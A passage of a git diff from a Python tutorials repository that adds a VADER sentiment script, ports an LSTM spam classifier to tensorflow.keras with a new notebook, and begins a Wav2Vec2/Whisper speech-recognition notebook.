Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/semantic-textual-similarity/requirements.txt b/machine-learning/nlp/semantic-textual-similarity/requirements.txt new file mode 100644 index 00000000..c481c303 --- /dev/null +++ b/machine-learning/nlp/semantic-textual-similarity/requirements.txt @@ -0,0 +1,6 @@ +transformers +sentence-transformers +datasets +tqdm +numpy +pandas \ No newline at end of file diff --git a/machine-learning/nlp/sentiment-analysis-vader/README.md b/machine-learning/nlp/sentiment-analysis-vader/README.md new file mode 100644 index 00000000..31576a1f --- /dev/null +++ b/machine-learning/nlp/sentiment-analysis-vader/README.md @@ -0,0 +1,2 @@ +# [Sentiment Analysis using Vader in Python](https://www.thepythoncode.com/article/vaderSentiment-tool-to-extract-sentimental-values-in-texts-using-python) +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/machine-learning/nlp/sentiment-analysis-vader/requirements.txt b/machine-learning/nlp/sentiment-analysis-vader/requirements.txt new file mode 100644 index 00000000..0cddec51 --- /dev/null +++ b/machine-learning/nlp/sentiment-analysis-vader/requirements.txt @@ -0,0 +1 @@ +vaderSentiment \ No newline at end of file diff --git a/machine-learning/nlp/sentiment-analysis-vader/sentiment_analysis.py b/machine-learning/nlp/sentiment-analysis-vader/sentiment_analysis.py new file mode 100644 index 00000000..8f64d27b --- /dev/null +++ b/machine-learning/nlp/sentiment-analysis-vader/sentiment_analysis.py @@ -0,0 +1,25 @@ +from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer + +# init the sentiment analyzer +sia = SentimentIntensityAnalyzer() + +sentences = [ + "This food is amazing and tasty !", + "Exoplanets are planets outside the solar system", + "This is sad to see such bad behavior" +] + +for sentence in sentences: + score = sia.polarity_scores(sentence)["compound"] + print(f'The sentiment value of the sentence :"{sentence}" is : {score}') + +for sentence in sentences: + print(f'For the sentence "{sentence}"') + polarity = sia.polarity_scores(sentence) + pos = polarity["pos"] + neu = polarity["neu"] + neg = polarity["neg"] + print(f'The percententage of positive sentiment in :"{sentence}" is : {round(pos*100,2)} %') + print(f'The percententage of neutral sentiment in :"{sentence}" is : {round(neu*100,2)} %') + print(f'The percententage of negative sentiment in :"{sentence}" is : {round(neg*100,2)} %') + print("="*50) \ No newline at end of file diff --git a/machine-learning/nlp/spam-classifier/logs/spam_classifier_1566057536.51311/events.out.tfevents.1566057541.DESKTOP-JCAH48A b/machine-learning/nlp/spam-classifier/logs/spam_classifier_1566057536.51311/events.out.tfevents.1566057541.DESKTOP-JCAH48A deleted file mode 100644 index cedc6545..00000000 Binary files a/machine-learning/nlp/spam-classifier/logs/spam_classifier_1566057536.51311/events.out.tfevents.1566057541.DESKTOP-JCAH48A and /dev/null differ diff --git a/machine-learning/nlp/spam-classifier/requirements.txt b/machine-learning/nlp/spam-classifier/requirements.txt index f3bc98fd..5e6c8562 100644 --- a/machine-learning/nlp/spam-classifier/requirements.txt +++ b/machine-learning/nlp/spam-classifier/requirements.txt @@ -1,6 +1,4 @@ sklearn -keras tqdm numpy -keras_metrics -tensorflow==1.15.2 \ No newline at end of file +tensorflow \ No newline at end of file diff --git a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.05 b/machine-learning/nlp/spam-classifier/results/spam_classifier_0.05 deleted file mode 100644 index 78cc13a5..00000000 Binary files a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.05 and /dev/null differ diff --git a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.06 b/machine-learning/nlp/spam-classifier/results/spam_classifier_0.06 deleted file mode 100644 index 06380c0d..00000000 Binary files a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.06 and /dev/null differ diff --git a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.08 b/machine-learning/nlp/spam-classifier/results/spam_classifier_0.08 deleted file mode 100644 index 60e7753b..00000000 Binary files a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.08 and /dev/null differ diff --git a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.10 b/machine-learning/nlp/spam-classifier/results/spam_classifier_0.10 deleted file mode 100644 index bb95aaf3..00000000 Binary files a/machine-learning/nlp/spam-classifier/results/spam_classifier_0.10 and /dev/null differ diff --git a/machine-learning/nlp/spam-classifier/results/tokenizer.pickle b/machine-learning/nlp/spam-classifier/results/tokenizer.pickle deleted file mode 100644 index b3cf2594..00000000 Binary files a/machine-learning/nlp/spam-classifier/results/tokenizer.pickle and /dev/null differ diff --git a/machine-learning/nlp/spam-classifier/spam_classifier.py b/machine-learning/nlp/spam-classifier/spam_classifier.py index 969dffa6..289a9248 100644 --- a/machine-learning/nlp/spam-classifier/spam_classifier.py +++ b/machine-learning/nlp/spam-classifier/spam_classifier.py @@ -1,29 +1,20 @@ -# to use CPU uncomment below code -# import os -# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 -# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" - -# import tensorflow as tf - -# config = tf.ConfigProto(intra_op_parallelism_threads=5, -# inter_op_parallelism_threads=5, -# allow_soft_placement=True, -# device_count = {'CPU' : 1, -# 'GPU' : 0} -# ) - - -from keras.preprocessing.text import Tokenizer -from keras.preprocessing.sequence import pad_sequences -from keras.utils import to_categorical -from keras.callbacks import ModelCheckpoint, TensorBoard +import tensorflow as tf +gpus = tf.config.experimental.list_physical_devices('GPU') +if gpus: + # only use GPU memory that we need, not allocate all the GPU memory + tf.config.experimental.set_memory_growth(gpus[0], enable=True) + +from tensorflow.keras.preprocessing.text import Tokenizer +from tensorflow.keras.preprocessing.sequence import pad_sequences +from tensorflow.keras.utils import to_categorical +from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard from sklearn.model_selection import train_test_split import time import numpy as np import pickle -from utils import get_embedding_vectors, get_model, SEQUENCE_LENGTH, EMBEDDING_SIZE, TEST_SIZE -from utils import BATCH_SIZE, EPOCHS, int2label, label2int +from utils import get_model, SEQUENCE_LENGTH, TEST_SIZE +from utils import BATCH_SIZE, EPOCHS, label2int def load_data(): @@ -69,26 +60,25 @@ def load_data(): y = [ label2int[label] for label in y ] y = to_categorical(y) - print(y[0]) # split and shuffle X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=TEST_SIZE, random_state=7) - +# print our data shapes +print("X_train.shape:", X_train.shape) +print("X_test.shape:", X_test.shape) +print("y_train.shape:", y_train.shape) +print("y_test.shape:", y_test.shape) # constructs the model with 128 LSTM units model = get_model(tokenizer=tokenizer, lstm_units=128) # initialize our ModelCheckpoint and TensorBoard callbacks # model checkpoint for saving best weights -model_checkpoint = ModelCheckpoint("results/spam_classifier_{val_loss:.2f}", save_best_only=True, +model_checkpoint = ModelCheckpoint("results/spam_classifier_{val_loss:.2f}.h5", save_best_only=True, verbose=1) # for better visualization tensorboard = TensorBoard(f"logs/spam_classifier_{time.time()}") -# print our data shapes -print("X_train.shape:", X_train.shape) -print("X_test.shape:", X_test.shape) -print("y_train.shape:", y_train.shape) -print("y_test.shape:", y_test.shape) + # train the model model.fit(X_train, y_train, validation_data=(X_test, y_test), batch_size=BATCH_SIZE, epochs=EPOCHS, diff --git a/machine-learning/nlp/spam-classifier/test.py b/machine-learning/nlp/spam-classifier/test.py index d2f5edb4..04144f7a 100644 --- a/machine-learning/nlp/spam-classifier/test.py +++ b/machine-learning/nlp/spam-classifier/test.py @@ -1,17 +1,10 @@ -import os -# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 -# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" - -# import tensorflow as tf - -# config = tf.ConfigProto(intra_op_parallelism_threads=5, -# inter_op_parallelism_threads=5, -# allow_soft_placement=True, -# device_count = {'CPU' : 1, -# 'GPU' : 0} -# ) -from utils import get_model, int2label, label2int -from keras.preprocessing.sequence import pad_sequences +import tensorflow as tf +gpus = tf.config.experimental.list_physical_devices('GPU') +if gpus: + # only use GPU memory that we need, not allocate all the GPU memory + tf.config.experimental.set_memory_growth(gpus[0], enable=True) +from utils import get_model, int2label +from tensorflow.keras.preprocessing.sequence import pad_sequences import pickle import numpy as np @@ -22,7 +15,8 @@ tokenizer = pickle.load(open("results/tokenizer.pickle", "rb")) model = get_model(tokenizer, 128) -model.load_weights("results/spam_classifier_0.05") +# change to the model name in results folder +model.load_weights("results/spam_classifier_0.06.h5") def get_predictions(text): sequence = tokenizer.texts_to_sequences([text]) diff --git a/machine-learning/nlp/spam-classifier/tutorial.ipynb b/machine-learning/nlp/spam-classifier/tutorial.ipynb new file mode 100644 index 00000000..d6394902 --- /dev/null +++ b/machine-learning/nlp/spam-classifier/tutorial.ipynb @@ -0,0 +1,323 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "source": [ + "import time\r\n", + "import pickle\r\n", + "import tensorflow as tf\r\n", + "gpus = tf.config.experimental.list_physical_devices('GPU')\r\n", + "if gpus:\r\n", + " # only use GPU memory that we need, not allocate all the GPU memory\r\n", + " tf.config.experimental.set_memory_growth(gpus[0], enable=True)\r\n", + "\r\n", + "import tqdm\r\n", + "import numpy as np\r\n", + "from tensorflow.keras.preprocessing.text import Tokenizer\r\n", + "from tensorflow.keras.preprocessing.sequence import pad_sequences\r\n", + "from tensorflow.keras.utils import to_categorical\r\n", + "from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard\r\n", + "from sklearn.model_selection import train_test_split\r\n", + "from tensorflow.keras.layers import Embedding, LSTM, Dropout, Dense\r\n", + "from tensorflow.keras.models import Sequential\r\n", + "from tensorflow.keras.metrics import Recall, Precision" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "SEQUENCE_LENGTH = 100 # the length of all sequences (number of words per sample)\r\n", + "EMBEDDING_SIZE = 100 # Using 100-Dimensional GloVe embedding vectors\r\n", + "TEST_SIZE = 0.25 # ratio of testing set\r\n", + "\r\n", + "BATCH_SIZE = 64\r\n", + "EPOCHS = 10 # number of epochs\r\n", + "\r\n", + "label2int = {\"ham\": 0, \"spam\": 1}\r\n", + "int2label = {0: \"ham\", 1: \"spam\"}" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "def load_data():\r\n", + " \"\"\"\r\n", + " Loads SMS Spam Collection dataset\r\n", + " \"\"\"\r\n", + " texts, labels = [], []\r\n", + " with open(\"data/SMSSpamCollection\") as f:\r\n", + " for line in f:\r\n", + " split = line.split()\r\n", + " labels.append(split[0].strip())\r\n", + " texts.append(' '.join(split[1:]).strip())\r\n", + " return texts, labels" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# load the data\r\n", + "X, y = load_data()" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# Text tokenization\r\n", + "# vectorizing text, turning each text into sequence of integers\r\n", + "tokenizer = Tokenizer()\r\n", + "tokenizer.fit_on_texts(X)\r\n", + "# lets dump it to a file, so we can use it in testing\r\n", + "pickle.dump(tokenizer, open(\"results/tokenizer.pickle\", \"wb\"))\r\n", + "\r\n", + "# convert to sequence of integers\r\n", + "X = tokenizer.texts_to_sequences(X)\r\n", + "print(X[0])" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# convert to numpy arrays\r\n", + "X = np.array(X)\r\n", + "y = np.array(y)\r\n", + "# pad sequences at the beginning of each sequence with 0's\r\n", + "# for example if SEQUENCE_LENGTH=4:\r\n", + "# [[5, 3, 2], [5, 1, 2, 3], [3, 4]]\r\n", + "# will be transformed to:\r\n", + "# [[0, 5, 3, 2], [5, 1, 2, 3], [0, 0, 3, 4]]\r\n", + "X = pad_sequences(X, maxlen=SEQUENCE_LENGTH)\r\n", + "print(X[0])" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# One Hot encoding labels\r\n", + "# [spam, ham, spam, ham, ham] will be converted to:\r\n", + "# [1, 0, 1, 0, 1] and then to:\r\n", + "# [[0, 1], [1, 0], [0, 1], [1, 0], [0, 1]]\r\n", + "\r\n", + "y = [ label2int[label] for label in y ]\r\n", + "y = to_categorical(y)\r\n", + "print(y[0])" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# split and shuffle\r\n", + "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=TEST_SIZE, random_state=7)\r\n", + "# print our data shapes\r\n", + "print(\"X_train.shape:\", X_train.shape)\r\n", + "print(\"X_test.shape:\", X_test.shape)\r\n", + "print(\"y_train.shape:\", y_train.shape)\r\n", + "print(\"y_test.shape:\", y_test.shape)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "def get_embedding_vectors(tokenizer, dim=100):\r\n", + " embedding_index = {}\r\n", + " with open(f\"data/glove.6B.{dim}d.txt\", encoding='utf8') as f:\r\n", + " for line in tqdm.tqdm(f, \"Reading GloVe\"):\r\n", + " values = line.split()\r\n", + " word = values[0]\r\n", + " vectors = np.asarray(values[1:], dtype='float32')\r\n", + " embedding_index[word] = vectors\r\n", + " word_index = tokenizer.word_index\r\n", + " # we do +1 because Tokenizer() starts from 1\r\n", + " embedding_matrix = np.zeros((len(word_index)+1, dim))\r\n", + " for word, i in word_index.items():\r\n", + " embedding_vector = embedding_index.get(word)\r\n", + " if embedding_vector is not None:\r\n", + " # words not found will be 0s\r\n", + " embedding_matrix[i] = embedding_vector\r\n", + " return embedding_matrix" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "def get_model(tokenizer, lstm_units):\r\n", + " \"\"\"\r\n", + " Constructs the model,\r\n", + " Embedding vectors => LSTM => 2 output Fully-Connected neurons with softmax activation\r\n", + " \"\"\"\r\n", + " # get the GloVe embedding vectors\r\n", + " embedding_matrix = get_embedding_vectors(tokenizer)\r\n", + " model = Sequential()\r\n", + " model.add(Embedding(len(tokenizer.word_index)+1,\r\n", + " EMBEDDING_SIZE,\r\n", + " weights=[embedding_matrix],\r\n", + " trainable=False,\r\n", + " input_length=SEQUENCE_LENGTH))\r\n", + "\r\n", + " model.add(LSTM(lstm_units, recurrent_dropout=0.2))\r\n", + " model.add(Dropout(0.3))\r\n", + " model.add(Dense(2, activation=\"softmax\"))\r\n", + " # compile as rmsprop optimizer\r\n", + " # aswell as with recall metric\r\n", + " model.compile(optimizer=\"rmsprop\", loss=\"categorical_crossentropy\",\r\n", + " metrics=[\"accuracy\", Precision(), Recall()])\r\n", + " model.summary()\r\n", + " return model" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# constructs the model with 128 LSTM units\r\n", + "model = get_model(tokenizer=tokenizer, lstm_units=128)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# initialize our ModelCheckpoint and TensorBoard callbacks\r\n", + "# model checkpoint for saving best weights\r\n", + "model_checkpoint = ModelCheckpoint(\"results/spam_classifier_{val_loss:.2f}.h5\", save_best_only=True,\r\n", + " verbose=1)\r\n", + "# for better visualization\r\n", + "tensorboard = TensorBoard(f\"logs/spam_classifier_{time.time()}\")" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# train the model\r\n", + "model.fit(X_train, y_train, validation_data=(X_test, y_test),\r\n", + " batch_size=BATCH_SIZE, epochs=EPOCHS,\r\n", + " callbacks=[tensorboard, model_checkpoint],\r\n", + " verbose=1)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# get the loss and metrics\r\n", + "result = model.evaluate(X_test, y_test)\r\n", + "# extract those\r\n", + "loss = result[0]\r\n", + "accuracy = result[1]\r\n", + "precision = result[2]\r\n", + "recall = result[3]\r\n", + "\r\n", + "print(f\"[+] Accuracy: {accuracy*100:.2f}%\")\r\n", + "print(f\"[+] Precision: {precision*100:.2f}%\")\r\n", + "print(f\"[+] Recall: {recall*100:.2f}%\")" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "def get_predictions(text):\r\n", + " sequence = tokenizer.texts_to_sequences([text])\r\n", + " # pad the sequence\r\n", + " sequence = pad_sequences(sequence, maxlen=SEQUENCE_LENGTH)\r\n", + " # get the prediction\r\n", + " prediction = model.predict(sequence)[0]\r\n", + " # one-hot encoded vector, revert using np.argmax\r\n", + " return int2label[np.argmax(prediction)]\r\n", + " " + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "text = \"You won a prize of 1,000$, click here to claim!\"\r\n", + "get_predictions(text)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "text = \"Hi man, I was wondering if we can meet tomorrow\"\r\n", + "get_predictions(text)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [], + "outputs": [], + "metadata": {} + } + ], + "metadata": { + "orig_nbformat": 4, + "language_info": { + "name": "python", + "version": "3.8.7", + "mimetype": "text/x-python", + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "pygments_lexer": "ipython3", + "nbconvert_exporter": "python", + "file_extension": ".py" + }, + "kernelspec": { + "name": "python3", + "display_name": "Python 3.8.7 64-bit" + }, + "interpreter": { + "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} \ No newline at end of file diff --git a/machine-learning/nlp/spam-classifier/utils.py b/machine-learning/nlp/spam-classifier/utils.py index 6c4da77f..ce9b10b9 100644 --- a/machine-learning/nlp/spam-classifier/utils.py +++ b/machine-learning/nlp/spam-classifier/utils.py @@ -1,9 +1,8 @@ import tqdm import numpy as np -from keras.preprocessing.sequence import pad_sequences -from keras.layers import Embedding, LSTM, Dropout, Dense -from keras.models import Sequential -import keras_metrics +from tensorflow.keras.layers import Embedding, LSTM, Dropout, Dense +from tensorflow.keras.models import Sequential +from tensorflow.keras.metrics import Recall, Precision SEQUENCE_LENGTH = 100 # the length of all sequences (number of words per sample) EMBEDDING_SIZE = 100 # Using 100-Dimensional GloVe embedding vectors @@ -23,7 +22,6 @@ def get_embedding_vectors(tokenizer, dim=100): word = values[0] vectors = np.asarray(values[1:], dtype='float32') embedding_index[word] = vectors - word_index = tokenizer.word_index # we do +1 because Tokenizer() starts from 1 embedding_matrix = np.zeros((len(word_index)+1, dim)) @@ -32,7 +30,6 @@ def get_embedding_vectors(tokenizer, dim=100): if embedding_vector is not None: # words not found will be 0s embedding_matrix[i] = embedding_vector - return embedding_matrix @@ -56,6 +53,6 @@ def get_model(tokenizer, lstm_units): # compile as rmsprop optimizer # aswell as with recall metric model.compile(optimizer="rmsprop", loss="categorical_crossentropy", - metrics=["accuracy", keras_metrics.precision(), keras_metrics.recall()]) + metrics=["accuracy", Precision(), Recall()]) model.summary() return model \ No newline at end of file diff --git a/machine-learning/nlp/speech-recognition-transformers/16-122828-0002.wav b/machine-learning/nlp/speech-recognition-transformers/16-122828-0002.wav new file mode 100644 index 00000000..1b7f5952 Binary files /dev/null and b/machine-learning/nlp/speech-recognition-transformers/16-122828-0002.wav differ diff --git a/machine-learning/nlp/speech-recognition-transformers/30-4447-0004.wav b/machine-learning/nlp/speech-recognition-transformers/30-4447-0004.wav new file mode 100644 index 00000000..c1490955 Binary files /dev/null and b/machine-learning/nlp/speech-recognition-transformers/30-4447-0004.wav differ diff --git a/machine-learning/nlp/speech-recognition-transformers/7601-291468-0006.wav b/machine-learning/nlp/speech-recognition-transformers/7601-291468-0006.wav new file mode 100644 index 00000000..0f6d5f83 Binary files /dev/null and b/machine-learning/nlp/speech-recognition-transformers/7601-291468-0006.wav differ diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..941eff4c --- /dev/null +++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb @@ -0,0 +1,1013 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "KqiF_SjMysD0" + }, + "outputs": [], + "source": [ + "!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "IA7sFGYoywJv" + }, + "outputs": [], + "source": [ + "from transformers import *\n", + "import torch\n", + "import soundfile as sf\n", + "# import librosa\n", + "import os\n", + "import torchaudio\n", + "\n", + "device = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "VJBoe7N6PSZO" + }, + "source": [ + "# Wav2Vec2.0 Models\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "OXVa9QG2cmD7" + }, + "outputs": [], + "source": [ + "# wav2vec2_model_name = \"facebook/wav2vec2-base-960h\" # 360MB\n", + "wav2vec2_model_name = \"facebook/wav2vec2-large-960h-lv60-self\" # pretrained 1.26GB\n", + "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-english\" # English-only, 1.26GB\n", + "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-arabic\" # Arabic-only, 1.26GB\n", + "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-spanish\" # Spanish-only, 1.26GB\n", + "\n", + "wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name)\n", + "wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device)" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": { + "id": "GdEIJtkzEzSN" + }, + "outputs": [], + "source": [ + "# audio_url = \"http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.0.wav/"\n", + "# audio_url = \"http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.1.wav/"\n", + "# audio_url = \"http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav/"\n", + "# audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav/"\n", + "audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav/"\n", + "# audio_url = \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/"\n", + "# audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav/"\n", + "# audio_url = \"http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav/"" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "pFm8rwjMt7TC", + "outputId": "8fec671b-67b6-4733-9d5a-d8a2a1e92793" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(16000, torch.Size([274000]))" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# load our wav file\n", + "speech, sr = torchaudio.load(audio_url)\n", + "speech = speech.squeeze()\n", + "# or using librosa\n", + "# speech, sr = librosa.load(audio_file, sr=16000)\n", + "sr, speech.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "563Nf3xsMnJE", + "outputId": "f18bfd81-cf2b-49ef-e76b-cd4967bd2488" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "torch.Size([274000])" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# resample from whatever the audio sampling rate to 16000\n", + "resampler = torchaudio.transforms.Resample(sr, 16000)\n", + "speech = resampler(speech)\n", + "speech.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "qtTD3gIyeNwK", + "outputId": "5892959b-4e24-4e51-b3e6-294f18c2eb51" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "torch.Size([1, 274000])" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# tokenize our wav\n", + "input_values = wav2vec2_processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"].to(device)\n", + "input_values.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "_O7cCe7veTgB", + "outputId": "5c275a78-356a-4801-d538-ff9d2395de8a" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "torch.Size([1, 856, 32])" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# perform inference\n", + "logits = wav2vec2_model(input_values)[\"logits\"]\n", + "logits.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Gx6XWoTRejR0", + "outputId": "013597c8-693f-4dcf-e82e-5da6b39c205b" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "torch.Size([1, 856])" + ] + }, + "execution_count": 11, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# use argmax to get the predicted IDs\n", + "predicted_ids = torch.argmax(logits, dim=-1)\n", + "predicted_ids.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 54 + }, + "id": "tyWIw6rJeyN-", + "outputId": "ed070c05-2f53-4880-cfb4-4a2e2936ee0d" + }, + "outputs": [ + { + "data": { + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + }, + "text/plain": [ + "'and missus goddard three ladies almost always at the service of an invitation from hartfield and who were fetched and carried home so often that mister woodhouse thought it no hardship for either james or the horses had it taken place only once a year it would have been a grievance'" + ] + }, + "execution_count": 12, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# decode the IDs to text\n", + "transcription = wav2vec2_processor.decode(predicted_ids[0])\n", + "transcription.lower()" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": { + "id": "TJpRO65uqP30" + }, + "outputs": [], + "source": [ + "def load_audio(audio_path):\n", + " \"\"\"Load the audio file & convert to 16,000 sampling rate\"\"\"\n", + " # load our wav file\n", + " speech, sr = torchaudio.load(audio_path)\n", + " resampler = torchaudio.transforms.Resample(sr, 16000)\n", + " speech = resampler(speech)\n", + " return speech.squeeze()" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "id": "XDYMY4ZZLl9Q" + }, + "outputs": [], + "source": [ + "def get_transcription_wav2vec2(audio_path, model, processor):\n", + " speech = load_audio(audio_path)\n", + " input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"].to(device)\n", + " # perform inference\n", + " logits = model(input_features)[\"logits\"]\n", + " # use argmax to get the predicted IDs\n", + " predicted_ids = torch.argmax(logits, dim=-1)\n", + " transcription = processor.batch_decode(predicted_ids)[0]\n", + " return transcription.lower()" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 36 + }, + "id": "ien5Vqre7MRg", + "outputId": "f28ed270-5cae-4f74-ea97-7fa35d1df8ac" + }, + "outputs": [ + { + "data": { + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + }, + "text/plain": [ + "'a late is a big tool grab every dish of sugar'" + ] + }, + "execution_count": 17, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "get_transcription_wav2vec2(\"http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav/", \n", + " wav2vec2_model, \n", + " wav2vec2_processor)" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "OLqN2g1vpjIP" + }, + "source": [ + "# Whisper Models" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "H5emZREQp5Gv" + }, + "outputs": [], + "source": [ + "# whisper_model_name = \"openai/whisper-tiny.en\" # English-only, ~ 151 MB\n", + "# whisper_model_name = \"openai/whisper-base.en\" # English-only, ~ 290 MB\n", + "# whisper_model_name = \"openai/whisper-small.en\" # English-only, ~ 967 MB\n", + "# whisper_model_name = \"openai/whisper-medium.en\" # English-only, ~ 3.06 GB\n", + "# whisper_model_name = \"openai/whisper-tiny\" # multilingual, ~ 151 MB\n", + "# whisper_model_name = \"openai/whisper-base\" # multilingual, ~ 290 MB\n", + "# whisper_model_name = \"openai/whisper-small\" # multilingual, ~ 967 MB\n", + "whisper_model_name = \"openai/whisper-medium\" # multilingual, ~ 3.06 GB\n", + "# whisper_model_name = \"openai/whisper-large-v2\" # multilingual, ~ 6.17 GB\n", + "\n", + "whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name)\n", + "whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device)" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": { + "id": "jkJSZ1QQqiQ-" + }, + "outputs": [], + "source": [ + "input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors=\"pt\").input_features.to(device)" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": { + "id": 